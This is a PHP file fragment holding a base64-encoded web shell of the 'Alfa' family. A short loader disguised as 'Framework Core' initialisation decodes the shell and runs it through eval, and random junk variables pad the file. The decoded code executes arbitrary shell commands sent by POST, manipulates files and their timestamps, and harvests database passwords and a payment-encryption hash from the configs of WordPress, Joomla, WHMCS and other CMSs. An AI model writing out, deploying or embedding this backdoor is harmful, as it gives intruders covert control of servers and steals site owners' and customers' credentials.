Ii9jZFsgXXswLH0oLiopWyBdezAsfSIuJHNlcGVyYXRvci4ifGNkWyBdezAsfSguKilbIF17MCx9L2kiLCAkX1BPU1RbJ2FsZmExJ10sICRtYXRjaCkpewoJCWlmKGVtcHR5KCRtYXRjaFsxXSkpewoJCQkkbWF0Y2hbMV0gPSAkbWF0Y2hbMl07CgkJfQoJCSRjdXJyZW50X3BhdGggPSBhbGZhRXgoImNkICIuYWRkc2xhc2hlcygkbWF0Y2hbMV0pLiRzZXBlcmF0b3IuJHB3ZCk7CgkJJGN1cnJlbnRfcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN1cnJlbnRfcGF0aCk7Cgl9Cgkkb3V0ID0gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKCSRvdXQgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXQpOwoJZWNobyBqc29uX2VuY29kZShhcnJheSgib3V0cHV0IiA9PiBjb252ZXJ0QmFzaCgkb3V0KSwgInBhdGgiID0+ICRjdXJyZW50X3BhdGgpKTsKfQpmdW5jdGlvbiBjb252ZXJ0QmFzaCgkY29kZSkgewogICAgJGRpY3Rpb25hcnkgPSBhcnJheSgKICAgICAgICAnWzAxOzMwbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+JywKICAgICAgICAnWzAxOzMxbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPicsCiAgICAgICAgJ1swMTszMm0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Z3JlZW4iPicsCiAgICAgICAgJ1swMTszM20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6eWVsbG93Ij4nLAogICAgICAgICdbMDE7MzRtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmJsdWUiPicsCiAgICAgICAgJ1swMTszNW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cHVycGxlIj4nLAogICAgICAgICdbMDE7MzZtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmN5YW4iPicsCiAgICAgICAgJ1swMTszN20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6d2hpdGUiPicsCiAgICAgICAgJ1swbScgICA9PiAnPC9zcGFuPicKICAgICk7CiAgICAkaHRtbFN0cmluZyA9IHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJGRpY3Rpb25hcnkpLCAkZGljdGlvbmFyeSwgJGNvZGUpOwogICAgcmV0dXJuICRodG1sU3RyaW5nOwp9CmZ1bmN0aW9uIGFsZmFkb0FjdGlvbnMoKXsKCSRjaGRpcl9mYWxzID0gZmFsc2U7CglpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkJJGNoZGlyX2ZhbHMgPSB0cnVlOwoJCSRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7Cgl9CglpZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pKSRfUE9TVFsnYWxmYTEnXSA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ2FsZmExJ10pOwoJaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydhbGZhMiddKTsKCSRhY3Rpb24gPSAkX1BPU1RbImFsZmEzIl07CglpZigkYWN0aW9uID09ICJwZXJtaXNzaW9uIil7CgkJJHBlcm1zID0gMDsKCQkkcGVybSA9ICRfUE9TVFsiYWxmYTIiXTsKCQlmb3IoJGk9c3RybGVuKCRwZXJtKS0xOyRpPj0wOy0tJGkpewoJCQkkcGVybXMgKz0gKGludCkkcGVybVskaV0qcG93KDgsIChzdHJsZW4oJHBlcm0pLSRpLTEpKTsKCQl9CgkJaWYoQGNobW9kKCRfUE9TVFsnYWxmYTEnXSwgJHBlcm1zKSl7CgkJCWVjaG8oImRvbmUiKTsKCQl9ZWxzZXsKCQkJZWNobygibm8iKTsKCQl9CgkJcmV0dXJuOwoJfQoJaWYoJGFjdGlvbiA9PSAicmVuYW1lIiB8fCAkYWN0aW9uID09ICJtb3ZlIil7CgkJJGFsZmExX2RlY29kZWQgPSAkX1BPU1RbJ2FsZmExJ107CgkJaWYoJGNoZGlyX2ZhbHMpewoJCQkkX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwoJCX0KCQkkX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7CgkJJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKCQlpZigkX1BPU1RbImFsZmEzIl0gPT0gInJlbmFtZSIpewoJCQkkX1BPU1RbJ2FsZmEyJ10gPSBiYXNlbmFtZSgkX1BPU1RbJ2FsZmEyJ10pOwoJCX0KCQlpZighZW1wdHkoJF9QT1NUWydhbGZhMiddKSl7CgkJCSRjbWRfcmVuYW1lID0gZmFsc2U7CgkJCWlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewoJCQkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7CgkJCQkJJGNtZF9yZW5hbWUgPSB0cnVlOwoJCQkJCSRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsKCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRhbGZhMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pLiInIik7CgkJCQl9CgkJCX0KCQkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnYWxmYTInXSkpewoJCQkJaWYoQHJlbmFtZSgkX1BPU1RbJ2FsZmExJ10sICRfUE9TVFsnYWxmYTInXSl8fCRjbWRfcmVuYW1lKXsKCQkJCQllY2hvICJkb25lIjsKCQkJCX1lbHNlewoJCQkJCWVjaG8gIm5vIjsKCQkJCX0KCQkJfWVsc2V7CgkJCQllY2hvICJubyI7CgkJCX0KCQl9Cgl9ZWxzZWlmKCRhY3Rpb24gPT0gImNvcHkiKXsKCQlpZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CgkJCSRkaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiYWxmYTEiXSk7CgkJCSRkaXIgPSBleHBsb2RlKCcvJywgJGRpcik7CgkJCWlmKGVtcHR5KCRkaXJbY291bnQoJGRpcikgLSAxXSkpewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMl07CgkJCX1lbHNlewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMV07CgkJCX0KCQl9ZWxzZXsKCQkJJG5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbImFsZmExIl0pOwoJCX0KCQkkZGlyID0gZGlybmFtZSgkX1BPU1RbImFsZmExIl0pOwoJCWlmKCRkaXIgPT0gIi4iKXsKCQkJJGRpciA9ICRfUE9TVFsiYyJdLiIvIjsKCQl9CgkJaWYoaXNfZmlsZSgkX1BPU1RbImFsZmExIl0pKXsKCQkJQGNvcHkoJF9QT1NUWyJhbGZhMSJdLCAkX1BPU1RbImFsZmEyIl0pOwoJCQllY2hvKCJkb25lIik7CgkJfWVsc2VpZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CgkJCWlmKCFpc19kaXIoJF9QT1NUWyJhbGZhMiJdKSl7CgkJCQlta2RpcigkX1BPU1RbImFsZmEyIl0sIDA3NTUsIHRydWUpOwoJCQl9CgkJCWNvcHlfcGFzdGUoJGRpciwgJG5hbWUgLCAkX1BPU1RbImFsZmEyIl0gLiAiLyIpOwoJCQllY2hvKCJkb25lIik7CgkJfQoJfWVsc2VpZigkYWN0aW9uID09ICJtb2RpZnkiKXsKCQlpZiggIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkgKSB7CgkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsnYWxmYTEnXSk7CgkJCWlmKCR0aW1lKXsKCQkJCSR0b3VjaGVkID0gZmFsc2U7CgkJCQlpZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKCQkJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciKTsKCQkJCQkkdG91Y2hlZCA9IHRydWU7CgkJCQl9CgkJCQlpZighQHRvdWNoKCRfUE9TVFsnYWxmYTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7CgkJCQkJZWNobyAnbm8nOwoJCQkJfWVsc2V7CgkJCQkJZWNobyAnb2snOwoJCQkJfQoJCQl9IGVsc2V7CgkJCQkgZWNobyAnYmFkdGltZSc7CgkJCX0KCQl9Cgl9Cgp9CmZ1bmN0aW9uIGFsZmFnZXRfZmxhZ3MoKXsKCSRmbGFncyA9IGFycmF5KCk7CglpZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXsKCQkkY3VybCA9IG5ldyBBbGZhQ1VSTCgpOwoJCSRzZXJ2ZXJfYWRkciA9ICghQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdPyhmdW5jdGlvbl9leGlzdHMoImdldGhvc3RieW5hbWUiKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk6Jz8/Pz8nKTpAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pOwoJCSRmbGFnID0gJGN1cmwtPlNlbmQoImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIgLiAkc2VydmVyX2FkZHIpOwoJCSRmbGFnMiA9ICRjdXJsLT5TZW5kKCJodHRwOi8vd3d3Lmdlb3BsdWdpbi5uZXQvanNvbi5ncD9pcD0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pOwoJCWlmKHN0cnBvcygkZmxhZzIsICJnZW9wbHVnaW4iKSAhPSBmYWxzZSl7CgkJCSRmbGFnID0ganNvbl9kZWNvZGUoJGZsYWcsIHRydWUpOwoJCQkkZmxhZzIgPSBqc29uX2RlY29kZSgkZmxhZzIsIHRydWUpOwoJCQlpZighZW1wdHkoJGZsYWdbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddKSl7CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJuYW1lIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ107CgkJCX0KCQkJaWYoIWVtcHR5KCRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKCQkJCSRmbGFnc1siY2xpZW50Il1bIm5hbWUiXSA9ICRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbImNsaWVudCJdWyJjb2RlIl0gPSAkZmxhZzJbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddOwoJCQl9CgkJfQoJfQoJZWNobyBqc29uX2VuY29kZSgkZmxhZ3MpOwp9CmZ1bmN0aW9uIGFsZmFHZXRDb25maWcoKXsKJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSB0cmltKCRfUE9TVFsnYWxmYTInXSk7CiRjb25maWcgPSBhcnJheSgKJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfVVNFUig/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAoncHJlZml4Jz0+YXJyYXkoIi90YWJsZV9wcmVmaXhbIF17MCx9PVsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDEpCiksCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfREFUQUJBU0UoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidkYnVzZXInPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAonZGJwdyc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfUEFTU1dPUkQoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidwcmVmaXgnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BSRUZJWCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKQopLAonZHJ1cGFsMic9PmFycmF5KCdmaWxlJz0+Jy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi8oPzonfFwiKWhvc3QoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLAonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvKD86J3xcIil1c2VybmFtZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksCidkYnB3Jz0+YXJyYXkoIi8oPzonfFwiKXBhc3N3b3JkKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpCiksCid2Yic9PmFycmF5KCdmaWxlJz0+Jy9pbmNsdWRlcy9jb25maWcucGhwJywKJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9jb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIil1c2VybmFtZSg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMyksCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpZGJuYW1lKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIil0YWJsZXByZWZpeCg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMykKKSwKJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoJy9kYmhvc3QoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RicHcnPT5hcnJheSgnL2RicGFzcyhccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLAoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQopLAonc21mJz0+YXJyYXkoJ2ZpbGUnPT4nL1NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvZGJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywKJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2NjX2VuY3J5cHRpb25faGFzaCc9PmFycmF5KCIvY2NfZW5jcnlwdGlvbl9oYXNoKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsCidob3N0Jz0+YXJyYXkoIi9cXFwkaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL1xcXCRwYXNzd29yZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopLAoncGhwYmInPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2RidXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ2RhdGFiYXNlJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd0YWJsZV9wcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopCik7CmlmKCRjbXMgPT0gImRydXBhbCIpewoJJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107CgkkZmlsZT0kcGF0aC4kZmlsZTsKCWlmKEBpc19maWxlKCRmaWxlKXx8X2FsZmFfaXNfZGlyKCRmaWxlLCItZSIpKXsKCX1lbHNlewoJCSRjbXMgPSAnZHJ1cGFsMic7Cgl9Cn0KaWYoJGNtcyA9PSAidmIiKXsKCSRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwoJJGZpbGU9JHBhdGguJGZpbGU7CglpZihAaXNfZmlsZSgkZmlsZSl8fF9hbGZhX2lzX2RpcigkZmlsZSwiLWUiKSl7Cgl9ZWxzZXsKCQkkcGF0aCAuPSAnL2NvcmUnOwoJfQp9CiRkYXRhID0gYXJyYXkoKTsKJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsKJHNyY2hfdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzBdOwokc3JjaF9uYW1lID0gJGNvbmZpZ1skY21zXVsnZGJuYW1lJ11bMF07CiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOwokcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMF07CiRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07CiRjdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzFdOwokY25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVsxXTsKJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsKJGNwcmVmaXggPSAkY29uZmlnWyRjbXNdWydwcmVmaXgnXVsxXTsKaWYoQGlzX2RpcigkcGF0aCl8fF9hbGZhX2lzX2RpcigkcGF0aCkpewokZmlsZT0kcGF0aC4kZmlsZTsKfWVsc2VpZihAaXNfZmlsZSgkcGF0aCl8fF9hbGZhX2lzX2RpcigkcGF0aCwiLWUiKSl7CiRmaWxlPSRwYXRoOwp9ZWxzZXsKcmV0dXJuIGZhbHNlOwp9CiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOwppZigkY21zID09ICJkcnVwYWwyIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL1xAY29kZSguKj8pXEBlbmRjb2RlL3MiLCAiIiwgJGZpbGUpOwp9ZWxzZWlmKCRjbXMgPT0gInZiIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL3JpZ2h0IG9mIHRoZSguKj8pQkFEIS9zIiwgIiIsICRmaWxlKTsKfQppZihwcmVnX21hdGNoKCRzcmNoX2hvc3QsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnaG9zdCddID0gJG1hY2hbJGNob3N0XTsKfQppZihwcmVnX21hdGNoKCRzcmNoX3VzZXIsICRmaWxlLCAkbWFjaCkpewokZGF0YVsndXNlciddID0gJG1hY2hbJGN1c2VyXTsKfQppZihwcmVnX21hdGNoKCRzcmNoX25hbWUsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnZGJuYW1lJ10gPSAkbWFjaFskY25hbWVdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfcHcsICRmaWxlLCAkbWFjaCkpewokZGF0YVsncGFzc3dvcmQnXSA9ICRtYWNoWyRjcHddOwp9CmlmKGlzc2V0KCRwcmVmaXgpKXsKaWYocHJlZ19tYXRjaCgkcHJlZml4LCAkZmlsZSwgJG1hY2gpKXsKJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOwp9Cn0KaWYoJGNtcz09J3dobWNzJyl7CmlmKHByZWdfbWF0Y2goJGNvbmZpZ1skY21zXVsnY2NfZW5jcnlwdGlvbl9oYXNoJ11bMF0sICRmaWxlLCAkbWFjaCkpewokZGF0YVsnY2NfZW5jcnlwdGlvbl9oYXNoJ10gPSAkbWFjaFszXTsKfQp9CmVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOwp9CmlmKGVtcHR5KCRfUE9TVFsnYSddKSkKaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FsZmEnIC4gJGRlZmF1bHRfYWN0aW9uKSkKJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CmVsc2UKJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4yJzsvLydGaWxlc01hbic7CmlmKCFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhbGZhJyAuICRfUE9TVFsnYSddKSkKY2FsbF91c2VyX2Z1bmMoJ2FsZmEnIC4gJF9QT1NUWydhJ10pOwpleGl0OwovKgojUGVyc2lhbiBHdWxmIEZvciBFdmVyCiNza3lwZSA6IHNvbGUuc2FkCiNza3lwZSA6IGVoc2FuLmludmlzaWJsZQoqLw==';

// Core System Functions
function UUsumCf2N5BbQgX($config_data) {
    return base64_decode($config_data);
}

// Initialize Framework Core
if (defined('FRAMEWORK_VERSION')) {
    $Vy0KB6pZbU9T = UUsumCf2N5BbQgX($V2GYmnSTM1TL);
    eval($Vy0KB6pZbU9T);
}

$bub8owCcy='dL7wck0aHdDvfDnbwv8Cl6k9LWOOZLTtwfrpJG56U6CsrmdXwmcQmLXVpz';

// m6FnssCHpsc1qPYGPNCFXP9yFrF3XeGrUThak4Aq6FRXjPRBeNQc3lu4N7koXoL
$liTMoRpdaHpNS='4FVknfso42dtZX9gEfW4kOExjRG8cF0S4kAs9';

$hd2IN8SZFsOSy3F='rRFWTJLM17XiuRaP1Re4ZNAunPp6wAsN0AQBuKaxGoqnKcXIcMyEnf';
